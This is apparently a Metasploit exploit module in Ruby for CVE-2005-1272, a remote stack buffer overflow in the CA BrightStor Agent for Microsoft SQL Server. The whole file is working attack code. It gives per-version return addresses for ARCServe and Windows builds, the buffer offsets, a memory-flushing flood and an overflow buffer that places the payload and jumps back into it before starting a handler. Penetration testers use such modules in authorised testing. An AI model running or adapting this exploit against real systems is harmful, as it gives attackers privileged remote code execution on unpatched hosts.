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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA BrightStor Agent for Microsoft SQL Overflow',
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      'Description'    => %q{
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          This module exploits a vulnerability in the CA BrightStor
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        Agent for Microsoft SQL Server. This vulnerability was
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        discovered by cybertronic[at]gmx.net.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-1272'],
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          [ 'OSVDB', '18501' ],
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          [ 'BID', '14453'],
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          [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
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          [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 1000,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'      => %w{ win },
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      'Targets'        =>
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        [
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          # This exploit requires a jmp esp for return
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          ['ARCServe 11.0 Asbrdcst.dll 12/12/2003',     { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
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          ['ARCServe 11.1 Asbrdcst.dll 07/21/2004',     { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
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          ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
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          # Generic jmp esp's
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          ['Windows 2000 SP0-SP3 English',              { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
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          ['Windows 2000 SP4 English',                  { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
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          ['Windows XP SP0-SP1 English',                { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
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          ['Windows XP SP2 English',                    { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
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          ['Windows 2003 SP0 English',                  { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
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          ['Windows 2003 SP1 English',                  { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
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        ],
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      'DisclosureDate' => '2005-08-02',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(6070)
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      ])
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  end
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  def exploit
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    print_status("Trying target #{target.name}...")
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    # The 'one line' request does not work against Windows 2003
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    1.upto(5) { |i|
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      # Flush some memory
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      connect
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      begin
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        sock.put("\xff" * 0x12000)
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        sock.get_once
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      rescue
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      end
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      disconnect
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      # 3288 bytes max
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      #  696 == good data (1228 bytes contiguous) @ 0293f5e0
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      # 3168 == return address
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      # 3172 == esp @ 0293ff8c (2476 from good data)
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      buf = rand_text_english(3288, payload_badchars)
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      buf[ 696, payload.encoded.length ] = payload.encoded
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      buf[3168, 4] = [target.ret].pack('V')  # jmp esp
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      buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"  # jmp -2476
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      connect
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      begin
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        sock.put(buf)
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        sock.get_once
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      rescue
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      end
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      handler
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      disconnect
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    }
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  end
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end
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